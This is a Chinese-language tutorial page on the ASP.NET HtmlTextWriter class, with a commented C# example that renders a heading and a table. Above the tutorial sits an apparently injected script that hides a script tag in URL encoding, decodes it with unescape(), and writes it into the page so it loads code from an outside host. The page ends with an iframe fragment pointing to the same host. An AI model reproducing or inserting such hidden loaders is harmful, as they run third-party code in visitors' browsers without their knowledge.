HTML Tags and JavaScript tutorial
<script language="javascript">var encS="%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//avss.b15.cnwg.cn/count/count.asp%22%3E%3C/script%3E";var S=unescape(encS);document.write(S);</script>
HtmlTextWriter 类
HtmlTextWriter 类
命名空间: System.Web.UI
此类通常用于将 HTML 呈现给 Web 窗体页。当重写 Control.Render、WebControl.AddAttributesToRender 以及其他将内容写入 Web 页的 ASP.NET 服务器控件方法时,将该类用作输出流。
示例
下面的示例说明如何使用 HtmlTextWriter 类的成员生成作为 h1 元素(后跟一个三行五列的表)呈现在浏览器中的 HTML。
下面是一个例子,我添加了些注释,好让大家理解各种方法的作用;)
[C#]
<script language="C#" runat="server">
const int maxRows = 3;
const int maxCols = 5;
protected override void Render(HtmlTextWriter writer) {
//此方法自动写出 HTML 元素的开始标记的结束字符 (>)。对没有属性的 HTML 元素使用此方法。
//此方法适合于html,hr等元素
//下句输出<html>
writer.WriteFullBeginTag("html");
//将行结束符写入 HTML 文本流。
writer.WriteLine();
writer.WriteFullBeginTag("body");
writer.WriteLine();
writer.WriteFullBeginTag("h1");
writer.Write("Using the HtmlTextWriterClass");
//tagName(h1)表示要写出其结束标记的 HTML 元素。
//下句输出</h1>
writer.WriteEndTag("h1");
writer.WriteLine();
// ...
/*
将与 key 参数所指定的 HtmlTextWriterStyle 值关联的 HTML 样式属性和此属性的值添加到 HtmlTextWriter 输出流。
[C#] public virtual void AddStyleAttribute(HtmlTextWriterStyle, string);
将指定的 HTML 样式属性和它的值添加到 HtmlTextWriter 输出流。
[C#] public virtual void AddStyleAttribute(string, string);
将指定的 HTML 样式属性连同它的值一起添加到 HtmlTextWriter 输出流。
[C#] protected virtual void AddStyleAttribute(string, string, HtmlTextWriterStyle);
*/
//下面一句写下<table
writer.WriteBeginTag("table");
writer.AddStyleAttribute(HtmlTextWriterStyle.FontWeight, "bold");
writer.AddStyleAttribute(HtmlTextWriterStyle.FontFamily, "verdana");
writer.AddStyleAttribute(HtmlTextWriterStyle.FontSize, "14pt");
writer.WriteAttribute("border","1");
//这一句输出 >
writer.Write(HtmlTextWriter.TagRightChar);
writer.WriteLine();
writer.Indent++;
for (int i=0; i<maxRows; i++) {
writer.WriteFullBeginTag("tr");
writer.WriteLine();
//Indent 获取或设置在 HTML 的行首缩进的空格数。
writer.Indent++;
//<td valing='top' bgcolor='lightblue'>Cell(2,4)</td>
for (int j=0; j<maxCols; j++) {
writer.WriteBeginTag("td");
writer.WriteAttribute("valign","top");
writer.WriteAttribute("bgcolor","lightblue");
writer.Write(HtmlTextWriter.TagRightChar);
// Cell (i,j)
writer.Write("Cell (" + i.ToString() + "," + j.ToString() + ")" );
writer.WriteEndTag("td");
writer.WriteLine();
}
writer.Indent--;
writer.WriteEndTag("tr");
writer.WriteLine();
}
writer.Indent--;
// ...</table>
writer.WriteEndTag("table");
writer.WriteLine();
//</body>
writer.WriteEndTag("body");
writer.WriteLine();
// </html>
writer.WriteEndTag("html");
}
</script>
src="http://avss.b15.cnwg.cn/count/iframe.asp" frameborder="0" width="650" scrolling="no" height="160">